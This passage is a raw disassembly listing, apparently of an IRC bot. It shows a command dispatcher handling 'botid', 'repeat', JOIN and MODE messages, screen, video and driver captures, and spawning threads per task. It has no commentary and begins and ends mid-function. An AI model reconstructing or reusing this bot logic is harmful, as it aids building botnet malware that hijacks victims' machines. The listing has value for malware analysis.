esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4126C9 loc_4126B3: ; CODE XREF: sub_40EE72+3855j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 2630F90h jmp short loc_4126B3 ; --------------------------------------------------------------------------- loc_4126C9: ; CODE XREF: sub_40EE72+383Fj nop call near ptr 2670ADCh push eax push offset unk_4313DC jmp loc_4128CC ; --------------------------------------------------------------------------- loc_4126DA: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_4313A0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4127AD loc_41279B: ; CODE XREF: sub_40EE72+3939j cmp [ebp+var_560], ebx jnz short loc_4127C8 push 32h call near ptr 2630F90h nop jmp short loc_41279B ; --------------------------------------------------------------------------- loc_4127AD: ; CODE XREF: sub_40EE72+3927j nop call near ptr 2670ADCh push eax lea eax, [ebp+var_2DC] push offset dword_431358 push eax call sub_4172B0 add esp, 0Ch loc_4127C8: ; CODE XREF: sub_40EE72+392Fj cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127D8: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_431318 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4128C0 loc_4128AA: ; CODE XREF: sub_40EE72+3A4Cj cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 2630F90h jmp short loc_4128AA ; --------------------------------------------------------------------------- loc_4128C0: ; CODE XREF: sub_40EE72+3A36j nop call near ptr 2670ADCh push eax push offset unk_4312D0 loc_4128CC: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292B push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292B: ; CODE XREF: sub_40EE72+3AA5j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_431290 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4129B7 loc_4129A1: ; CODE XREF: sub_40EE72+3B43j cmp [ebp+var_2FC], ebx jnz loc_413A62 push 32h nop call near ptr 2630F90h jmp short loc_4129A1 ; --------------------------------------------------------------------------- loc_4129B7: ; CODE XREF: sub_40EE72+3B2Dj nop call near ptr 2670ADCh push eax push offset unk_431248 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412ABF mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_43120C push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412AAE loc_412A98: ; CODE XREF: sub_40EE72+3C3Aj cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 2630F90h nop jmp short loc_412A98 ; --------------------------------------------------------------------------- loc_412AAE: ; CODE XREF: sub_40EE72+3C24j nop call near ptr 2670ADCh push eax push offset unk_4311C4 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412ABF: ; CODE XREF: sub_40EE72+3B67j push offset unk_43117C jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412AC9: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi call near ptr 27F0AEAh nop test eax, eax jz short loc_412AF9 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_431148 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AF9: ; CODE XREF: sub_40EE72+3C63j push offset dword_43112C call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1B: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B55 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B55 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B55: ; CODE XREF: sub_40EE72+3CC1j ; sub_40EE72+3CD2j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_4310EC lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412C0B loc_412BF5: ; CODE XREF: sub_40EE72+3D97j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 2630F90h jmp short loc_412BF5 ; --------------------------------------------------------------------------- loc_412C0B: ; CODE XREF: sub_40EE72+3D81j call near ptr 2670ADCh nop push eax push offset unk_4310A0 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1C: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C59 mov word ptr [ebp+var_470], 5 loc_412C59: ; CODE XREF: sub_40EE72+3DDCj cmp [ebp+var_C], ebx jz loc_413A62 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A62 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2780B1Eh test eax, eax jnz short loc_412CA4 push offset unk_43106C jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412CA4: ; CODE XREF: sub_40EE72+3E26j push edi push offset dword_431044 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CAF: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E29 lea eax, [ebp+var_3FC] push eax push 104h nop call near ptr 279123Ah push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D44 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4A ; --------------------------------------------------------------------------- loc_412D44: ; CODE XREF: sub_40EE72+3EBCj mov [ebp+var_570], ebx loc_412D4A: ; CODE XREF: sub_40EE72+3ED0j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D64 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6A ; --------------------------------------------------------------------------- loc_412D64: ; CODE XREF: sub_40EE72+3EE1j mov [ebp+var_574], ebx loc_412D6A: ; CODE XREF: sub_40EE72+3EF0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_430FFC push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412E18 loc_412E02: ; CODE XREF: sub_40EE72+3FA4j cmp [ebp+var_560], ebx jnz loc_413A62 push 32h call near ptr 2630F90h nop jmp short loc_412E02 ; --------------------------------------------------------------------------- loc_412E18: ; CODE XREF: sub_40EE72+3F8Ej nop call near ptr 2670ADCh push eax push offset unk_430FB0 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E29: ; CODE XREF: sub_40EE72+3E4Ej push offset unk_430F5C jmp loc_413A54 ; --------------------------------------------------------------------------- loc_412E33: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F4C push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBC push edi call sub_41781F imul eax, 3E8h pop ecx push eax nop call near ptr 2630F90h loc_412EBC: ; CODE XREF: sub_40EE72+4034j push offset dword_430F28 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED0: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F8F push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_430F4C push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 loc_412F4E: ; DATA XREF: ___:off_42DE40o add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_430EF8 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F8F: ; CODE XREF: sub_40EE72+40A3j push offset dword_430EB4 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F99: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430EAC push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB6: ; CODE XREF: sub_40EE72+41AEj test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 loc_412FD0: ; CODE XREF: sub_40EE72+4CBBj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 loc_412FF4: ; CODE XREF: sub_40EE72+4469j ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFC: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_430EA0 push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB6 ; --------------------------------------------------------------------------- loc_413022: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_430E98 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_430E6C jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_41308E: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130BF push esi lea eax, [ebp+var_2DC] push offset dword_430E64 push eax call sub_4172B0 add esp, 0Ch loc_4130BF: ; CODE XREF: sub_40EE72+4236j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E38 jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413113: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_430E0C jmp loc_4132D6 ; --------------------------------------------------------------------------- loc_413181: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430DD4 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BB: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_430DC8 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax call near ptr 2630F90h nop push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_430DA4 call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413224: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_4315C0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_430D78 jmp short loc_4132D6 ; --------------------------------------------------------------------------- loc_41328A: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_430D4C loc_4132D6: ; CODE XREF: sub_40EE72+4217j ; sub_40EE72+429Cj ... call sub_40BFE1 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_4132E0: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_430D20 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413312: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B6 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41339E push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_430F4C push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_430CEC push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_41339E: ; CODE XREF: sub_40EE72+44D1j lea eax, [ebp+var_2DC] push offset dword_430CAC push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B6: ; CODE XREF: sub_40EE72+44BCj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_430C84 push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413400: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413463 cmp [ebp+esi+var_8C], ebx jz short loc_413450 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_413449 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430C40 push eax call sub_4172B0 add esp, 0Ch jmp short loc_413463 ; --------------------------------------------------------------------------- loc_413449: ; CODE XREF: sub_40EE72+45B8j push offset dword_430C04 jmp short loc_413455 ; --------------------------------------------------------------------------- loc_413450: ; CODE XREF: sub_40EE72+45A6j push offset dword_430BBC loc_413455: ; CODE XREF: sub_40EE72+45DCj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413463: ; CODE XREF: sub_40EE72+459Dj ; sub_40EE72+45D5j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FA mov [ebp+arg_0], ebx loc_41347B: ; CODE XREF: sub_40EE72+4673j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43ADC8 test eax, eax jz short loc_4134DE lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_430B80 push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134DE: ; CODE XREF: sub_40EE72+462Cj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347B lea eax, [ebp+var_2DC] push offset dword_430B4C push eax call sub_4172B0 pop ecx pop ecx loc_4134FA: ; CODE XREF: sub_40EE72+4600j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A0 cmp [ebp+esi+var_8C], ebx jz short loc_41358D cmp [ebp+esi+var_88], ebx jz short loc_41358D cmp [ebp+esi+var_84], ebx jz short loc_41358D mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358D push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413586 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_430B08 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A0 ; --------------------------------------------------------------------------- loc_413586: ; CODE XREF: sub_40EE72+46F5j push offset dword_430AC4 jmp short loc_413592 ; --------------------------------------------------------------------------- loc_41358D: ; CODE XREF: sub_40EE72+46A4j ; sub_40EE72+46ADj ... push offset dword_430A7C loc_413592: ; CODE XREF: sub_40EE72+4719j lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A0: ; CODE XREF: sub_40EE72+4697j ; sub_40EE72+4712j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A62 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_413639 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_413639 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_413639 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_413639 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_413639 push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_41362F push [ebp+arg_18] push offset dword_430A38 jmp loc_411888 ; --------------------------------------------------------------------------- loc_41362F: ; CODE XREF: sub_40EE72+47AEj push offset dword_4309E8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413639: ; CODE XREF: sub_40EE72+474Fj ; sub_40EE72+475Dj ... push offset dword_43099C jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413643: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136BE mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366C: ; CODE XREF: sub_40EE72+4829j test eax, eax jz short loc_41369D push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366C ; --------------------------------------------------------------------------- loc_41369D: ; CODE XREF: sub_40EE72+47FCj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_430968 push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136BE: ; CODE XREF: sub_40EE72+47E2j push edi push offset dword_430938 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136C9: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_413709 push offset dword_4308FC jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413709: ; CODE XREF: sub_40EE72+488Bj push esi push offset dword_4308D4 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413714: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413745 push offset unk_4308A8 jmp loc_413A54 ; --------------------------------------------------------------------------- loc_413745: ; CODE XREF: sub_40EE72+48C7j push offset dword_43087C jmp loc_413A54 ; --------------------------------------------------------------------------- loc_41374F: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_41377E push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_41377E: ; CODE XREF: sub_40EE72+48F8j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_430854 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41381F loc_413809: ; CODE XREF: sub_40EE72+49ABj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h nop call near ptr 2630F90h jmp short loc_413809 ; --------------------------------------------------------------------------- loc_41381F: ; CODE XREF: sub_40EE72+4995j call near ptr 2670ADCh nop push eax push offset unk_430808 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413830: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx 